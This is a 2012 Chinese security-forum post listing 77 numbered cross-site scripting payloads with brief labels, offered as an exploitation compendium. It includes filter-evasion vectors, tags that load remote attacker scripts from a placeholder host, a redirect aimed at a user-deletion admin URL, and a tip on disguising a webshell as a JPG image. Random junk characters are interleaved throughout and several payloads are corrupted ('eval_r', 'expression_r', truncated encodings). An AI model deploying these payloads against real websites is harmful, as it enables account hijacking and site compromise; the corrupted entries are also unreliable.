找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2380|回复: 0
打印 上一主题 下一主题

xss详细利用大全1

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:04:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
跨站图片shell  J( A: C  b2 [5 o$ K4 T. ?
XSS跨站代码  <script>alert("")</script>. E. M+ `$ M" b4 t1 E& @" E( Z& }1 p

" p0 {4 l) a& S% N7 N! ~- k$ u! W将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马* A3 ?5 I1 L8 P0 @

- b0 Q4 j* O0 a* }. j$ G
4 I& |2 K7 V$ y* Y; p) W
& s; t$ Z3 i; ]2 m$ a1)普通的XSS JavaScript注入
* A, b9 g0 l$ w( w<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT># ]! p; s0 l. i# |

2 t" t2 u- J5 \- i: H6 @" U(2)IMG标签XSS使用JavaScript命令- Z8 C. v- J$ x6 [' V
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
  v9 v1 c# [2 O; T) S6 L+ a5 N. ?
  r/ D8 L+ C9 s* A  p# f(3)IMG标签无分号无引号$ g# M( u5 `# p7 P3 W  F
<IMG SRC=javascript:alert(‘XSS’)>
7 T" R  S% b: `  Q( t0 a5 k
5 e7 i- J& `9 u1 ](4)IMG标签大小写不敏感
; u3 r! ^9 v4 ?. K" X7 l) P<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
7 c# ~3 L8 g4 {9 i% z) Z+ `: [: Y3 t; i; s* _5 V) U# x
(5)HTML编码(必须有分号)
0 T) m) _: ?' V# n, z# J' I<IMG SRC=javascript:alert(“XSS”)>% C9 a  m- s' I- ~. R: |

  W% F8 @( `! K9 F, A  J, c9 R(6)修正缺陷IMG标签' l+ _" d: j4 s+ K- }! I
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
/ `) k: v5 E% E6 `7 p8 @+ |( s* \; i
(7)formCharCode标签(计算器)- k, p: L0 B9 g0 J# w8 Q: |
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
4 i+ |' i0 X% a+ B6 e* f  T) ?& u" z2 s  H6 K
(8)UTF-8的Unicode编码(计算器)
7 j. s# f* @! ?" {+ z& s( f+ i! y( G# F<IMG SRC=jav..省略..S')>" f7 A" Z$ u9 d
. x; D, b- [& Y" f$ I
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)( p; O" z: `: p# K) {
<IMG SRC=jav..省略..S')>
2 |5 ?) N) F  ]2 N) P
( d% Y2 \* G) @5 Q1 |(10)十六进制编码也是没有分号(计算器)! A$ w7 b2 Q; U' \7 z
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
# D* h" K' |8 q- m. K* U, c1 {7 g+ l6 A. l2 f% u) F' M4 U+ ]
(11)嵌入式标签,将Javascript分开8 H9 D5 m3 D/ u# F; u
<IMG SRC=”jav ascript:alert(‘XSS’);”>1 @" b7 }, H* A$ G2 P: |% R

( a" {# Q+ r" }2 Y(12)嵌入式编码标签,将Javascript分开
. p* C9 x9 I, i1 f* ]! Z<IMG SRC=”jav ascript:alert(‘XSS’);”>4 z- @2 D& u' N
3 Y9 g4 s0 u3 Y( Y4 w+ [
(13)嵌入式换行符
% D0 R: i5 G' n  c6 M) Q$ b7 i<IMG SRC=”jav ascript:alert(‘XSS’);”>% U8 [) A# u7 f
9 J/ ^2 O$ Z3 L  @
(14)嵌入式回车* h- P; C- f  T* h4 j9 y0 ?9 M, h
<IMG SRC=”jav ascript:alert(‘XSS’);”>0 O5 [- ?2 s# q% q
+ r! F* g: ]3 |5 X' j5 [
(15)嵌入式多行注入JavaScript,这是XSS极端的例子; O/ q2 n, [; [1 g7 N7 Q
<IMG SRC=”javascript:alert(‘XSS‘)”>1 d5 O" A  k, W/ a

6 W* M) b& [; a) }8 f4 |* @(16)解决限制字符(要求同页面); `$ B- z* r- X$ F( B# u* X, {6 ~
<script>z=’document.’</script>, c& n" U2 ~& J/ I$ m; [1 W# ^
<script>z=z+’write(“‘</script>
8 o. ~8 Z9 h  X- R. I# Q<script>z=z+’<script’</script>
* t: ]# I2 @# w& k: ~: f<script>z=z+’ src=ht’</script>) Y2 q6 c8 C# b, s  |  Z
<script>z=z+’tp://ww’</script>
9 o: Z3 a; w/ X<script>z=z+’w.shell’</script>
% n/ o  E2 Y6 K, x  P4 v0 {& i5 |<script>z=z+’.net/1.’</script>+ z! H, F* r6 C! ?7 ^4 s
<script>z=z+’js></sc’</script>1 A' }8 c" x; r1 [
<script>z=z+’ript>”)’</script>1 O9 S# w9 C% L8 H/ F. m
<script>eval_r(z)</script>
: \0 i. C1 S! i( w2 m4 v; a# e- x# I9 P9 v8 r
(17)空字符
# B' M$ D# H% N% mperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
+ \9 x% J: S5 q) ]. h2 H- H1 u% D9 ]( X4 J% W2 o& V. S* c0 G- _& _
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用: F7 N& o6 n, F& I! Z) y
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
4 R. O8 q" q: c+ N7 i. K$ \* X  z# u, {9 [2 f0 {/ k& J; k+ M
(19)Spaces和meta前的IMG标签
& v( s1 c# r; b9 {) h7 G) y2 t( o<IMG SRC=” javascript:alert(‘XSS’);”>0 q* u0 O1 r+ |
1 X7 m6 @. @1 b( C* I
(20)Non-alpha-non-digit XSS( j) q- W; V/ i/ l  y
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>+ a6 P  F, j# L% _% q
! h* Y2 C9 _$ c4 W3 |
(21)Non-alpha-non-digit XSS to 2
+ N9 z$ d# [8 M3 M! j* I. D<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>0 p- @# h. N0 u( W' T, x. Z$ R4 {
5 v+ t6 Q" p# a5 }6 i$ |
(22)Non-alpha-non-digit XSS to 3
7 ^; q& B3 G1 ]; W; x, h<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
% S" D3 [' R" j6 V
0 L  q6 X& ], g* K. |(23)双开括号
% T: X! ^) v0 U3 V<<SCRIPT>alert(“XSS”);//<</SCRIPT>
0 D) @. I6 k5 d  q. h: s
8 t$ I3 t1 j; a# r(24)无结束脚本标记(仅火狐等浏览器)) ~$ Y) n; y% Y
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
1 d5 D! r0 _) _3 M! Y: o# ?* d' Q. g  E4 K8 u0 _
(25)无结束脚本标记2
+ b1 O3 Z- T! K0 p<SCRIPT SRC=//3w.org/XSS/xss.js>$ s' t. ~. q9 `+ S6 O
3 q$ G8 `( w* ^5 i! O( [- j( ]4 L; [
(26)半开的HTML/JavaScript XSS+ |, e; S6 F8 c4 y# Y
<IMG SRC=”javascript:alert(‘XSS’)”
4 ^8 c$ m7 _! U$ H7 s7 h8 _8 z% x3 S# {; F8 e8 O* x0 I- G, q
(27)双开角括号
, K% G* H# V5 Q; L' n" C<iframe src=http://3w.org/XSS.html <# K6 E6 d! a. i/ V
0 O& |; N$ f- |" }( y% v
(28)无单引号 双引号 分号
$ ?5 V  u! t1 y9 c3 @<SCRIPT>a=/XSS/7 f( X! h1 j/ L) R+ E4 b
alert(a.source)</SCRIPT>
$ O9 g! v. ~! s1 v. C% O! N" G8 |8 a
- O6 m6 V1 L( T6 A7 d( s& y+ x6 n3 }(29)换码过滤的JavaScript1 ^4 w3 R" n4 E) e- i
\”;alert(‘XSS’);//
3 D# w: l) f* c3 @( @% z. D
# M8 j* d$ T1 K1 O  a5 S3 `(30)结束Title标签
$ f' {: B, M5 e( U# b+ a& N</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>( h2 a7 p' ?$ W% Y, g0 O( ~# a
# W1 g5 z. m, I
(31)Input Image# o$ ^3 K  s! x
<INPUT SRC=”javascript:alert(‘XSS’);”>
9 Y) z8 B. W& D1 k9 U6 F7 E1 a9 W' u9 ^) M
(32)BODY Image
; h; S0 c+ k$ ]4 q5 I* F1 w1 F<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
4 q  ]" a) O1 z) e- b  U% ^- a2 M+ L+ \; }
(33)BODY标签* R& y; f4 j8 X" q$ g4 {& o4 P
<BODY(‘XSS’)>
  L' K: H6 V0 K5 n$ v
1 f$ g! w4 g8 Q8 A+ X: L2 ?(34)IMG Dynsrc' F2 ?' u. L7 u" g9 N5 P' h% O
<IMG DYNSRC=”javascript:alert(‘XSS’)”>/ H7 \6 O$ e  T9 y; C3 @' d
3 E# X9 r% C& u1 M3 w3 @
(35)IMG Lowsrc
- B$ M- O1 g( a<IMG LOWSRC=”javascript:alert(‘XSS’)”>
6 {( }2 z" s5 x1 d1 ~& u' n- A/ _' `
(36)BGSOUND. ]$ c; ^, P/ B5 Y0 o
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
  r( t: E1 U+ L" s& k  H# ?& q5 q* i0 j) u* N& x
(37)STYLE sheet
) n2 h  _5 `0 _- [: Q" c<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>% l- h  @6 `$ N8 H& G) ?4 D

+ `( H  J! ^3 g(38)远程样式表
0 ^. G/ a3 a. _: x) W) i, \<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>! d- [* U6 ]; n# l7 W0 N) \
' w  \0 r9 e% ^7 n" Z
(39)List-style-image(列表式)& ]3 l# p* @1 Y6 X& e
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
- c7 M, Q) @8 D9 Q
4 `, `) x( O% C9 u# E7 K(40)IMG VBscript
$ I& N2 ?# O. F<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
- j) ^4 t$ _- c$ b) }# _+ M2 E1 i7 Q1 O) }1 ]
(41)META链接url% M( G: _9 ^# I% i2 \
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>& j! R  i/ Y( l  U& _$ ~$ ^

* ~- N& {6 k6 n' E  C(42)Iframe
1 D& ], ?5 f; V: d. l9 W<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>* H7 @3 A- ?1 f9 o0 T/ n7 A# V
(43)Frame! w( t4 w" W9 \
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>' l! r8 p6 k8 m( t2 L4 g

0 D& a& O( K+ H) D(44)Table/ T+ Z' O' D6 r* i
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>) M5 @3 ]/ s: `4 `! r' Q
. K5 ^3 M) g  V" v) g0 ~- z$ Y3 K
(45)TD3 [5 d. V& b0 b/ Y; ]" C
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
; u" _3 G/ M5 G: P
* r* {: ]; J- y: n% O(46)DIV background-image8 |' m& ]1 E( \- K2 o  L7 q: e
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
5 ^  V" E- c, X  x& I  z# S
# q* J3 v0 X4 S(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
( Y8 t, P' k" H4 F<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>
5 S* l0 L- O  L5 k
: J( D8 U" q; W/ U- j. \(48)DIV expression
& M% k* O+ v' f% o<DIV STYLE=”width: expression_r(alert(‘XSS’));”>' S( B# ^( M, ]0 z1 w

: ^0 |+ @8 {* X' E8 F8 E1 B+ V+ r(49)STYLE属性分拆表达+ V  B: v$ F% _, @  F  G# j  A
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
4 H, o& O, C: V1 E2 C- e4 F
, ]) l& Z( B! {( q(50)匿名STYLE(组成:开角号和一个字母开头)
  `5 S2 J. i/ l( g2 W7 T* f& d<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
* Z) K8 o1 S/ d+ B/ H, l' ^" g4 n5 v& ], o4 X+ O
(51)STYLE background-image
7 F' \/ R2 ]3 H9 J<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
" c6 ?' R: i# A! {$ ]5 m& [# P
$ |$ P: ~# a" u(52)IMG STYLE方式6 d9 G! N6 [! |
exppression(alert(“XSS”))’>, a3 [' ~" s3 b# K7 D+ H! e
: W# E! Z  v# u5 f; D3 h' |% A
(53)STYLE background3 V. C0 `6 a7 Y$ i# y
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
: y  t9 V0 t0 k. D4 ~
$ M* V: _6 `; y(54)BASE4 e+ p7 j8 Z2 J# G# \- d
<BASE HREF=”javascript:alert(‘XSS’);//”>
5 L1 w# L' R* e5 T6 d) K- k& v% r6 K6 X* @: X& j3 J  {* m
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
; |: y# K7 o2 ^* |<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>- o' v0 w1 a# P$ P& u0 G! Z* \
+ {. n. S" s$ }. A
(56)在flash中使用ActionScrpt可以混进你XSS的代码4 F3 _: `: G; i
a=”get”;
1 [; C7 K. n1 m0 ~b=”URL(\”";% j5 E, @2 h! ~6 a0 G; U% _" a. J
c=”javascript:”;
8 q( H* u3 d) L$ Yd=”alert(‘XSS’);\”)”;
4 e- u1 d( m- T, X0 ?eval_r(a+b+c+d);, i; `8 _" O6 J2 X
, h2 u; {- ]% v# X, J
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
1 x, D' g# k# L+ Q) E) \<HTML xmlns:xss>1 F( H) U5 x" q* e; u
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>' O' Q* i6 z) v9 w) U9 w3 T
<xss:xss>XSS</xss:xss>
1 [: D3 ?, R  Z/ r</HTML>
9 a  P# T. x. h2 _) v: j: S. P; @8 j+ y: _7 i; B& v: c% L5 K
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用  O8 W4 C& C8 y$ X: a* ~" ]
<SCRIPT SRC=””></SCRIPT>( [2 F, G; V9 T. R* W% e2 a
: g0 U6 s7 P/ M) a- J
(59)IMG嵌入式命令,可执行任意命令
& e3 W% Y4 F" h3 k5 i<IMG SRC=”http://www.XXX.com/a.php?a=b”>
; x+ I5 p3 s2 h; Y. ]) F0 W# N' ?2 S) H1 a5 i
(60)IMG嵌入式命令(a.jpg在同服务器)% u; _7 Y( F% u" O. s6 q/ r
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser$ Y- `$ A9 d7 ]& O
/ B" U, u  U/ L8 e- z3 k
(61)绕符号过滤( @; p( Q  H) f/ q- w& g  _
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
5 B( C( |3 `5 S, r- C; f, {: K
) V& t! X4 l( |' g" Z(62)
/ W3 |+ I0 b* Q<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
" X3 N/ g) o* s$ ?
2 n: T% K8 a8 f! |1 j) E* E- {(63)7 R0 F! B( f/ y
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
" H5 u  K, R: A& G8 z/ e; V  u. X$ e8 m! Q5 l7 @0 |' R: X
(64)0 z  P9 z% B6 J- d" B
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>4 }& @9 ^4 v6 {* |
5 k  b  B/ _& _
(65)
0 Q, p) J! i# q9 y/ b+ w<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>) G# N5 r$ U& p8 N0 s! `% d8 z5 {" ?7 G+ w
5 b' T2 d( S% t0 k: L9 e
(66)* R/ C! k. @* o1 D% x- P
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
0 T* R! O) s3 \- O6 s" ^* T$ I  {' j, U, D
(67)' |3 Z1 X* o- {/ u* @6 }& Z/ z
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>* ~# M7 f( r9 l1 l+ z0 u7 G) k% s

4 {1 V! @& r: W* O% J(68)URL绕行% N5 y. @" M8 S8 F# S8 [
<A HREF=”http://127.0.0.1/”>XSS</A>0 k* o- i7 N& `2 O6 J

8 p2 T. g5 N5 [4 W# a1 `(69)URL编码( F/ |3 D2 X! S$ j4 F' Y
<A HREF=”http://3w.org”>XSS</A>" r1 x8 c- `$ b  A2 Z) b
" ~& R0 F; ^' T* {2 ]3 c
(70)IP十进制
; E  t, |. Y) ?* J' {<A HREF=”http://3232235521″>XSS</A>3 m3 x/ S4 \8 I: }# w+ q

- d" M; n2 g9 Z  l0 S, e, W2 E(71)IP十六进制
2 |: L! E9 L: c* Z<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
0 n% |! d) z3 U  A) E5 S9 ~% l$ I- |+ r- C  i" Q
(72)IP八进制
( ?; c, X! ~9 D/ g<A HREF=”http://0300.0250.0000.0001″>XSS</A>
7 s2 A/ W( s9 G- T8 I' c7 `9 K% A  I
$ p8 w- W. W* d" |% h(73)混合编码3 A) O- f# L4 F* d  H. p' D! J
<A HREF=”h# Y% q, a+ f9 E2 I/ V; w
tt p://6 6.000146.0×7.147/”">XSS</A>: V  ], j" q0 P  C

( v3 G1 _) b# o1 G! |; |1 D+ f8 B& F(74)节省[http:]3 x( l' i. {; K
<A HREF=”//www.google.com/”>XSS</A>
' k% d& p6 N+ @, R
  |% f$ @, a% M(75)节省[www]8 W! v$ ], M8 g7 P& B- Y2 l
<A HREF=”http://google.com/”>XSS</A>
& j' q+ T6 l, B9 n9 t; p# h" Y# V9 A1 `- `; o
(76)绝对点绝对DNS% `- ~" M9 }" \+ g  B
<A HREF=”http://www.google.com./”>XSS</A>
4 a) M" }8 L, ~  y- f% r
) q# w7 A  _- E9 D) l$ c+ M! M; h8 z(77)javascript链接; O  F- z8 _2 Z: G3 j' y8 I; t
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>& n. D5 Z5 t# z  t1 M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表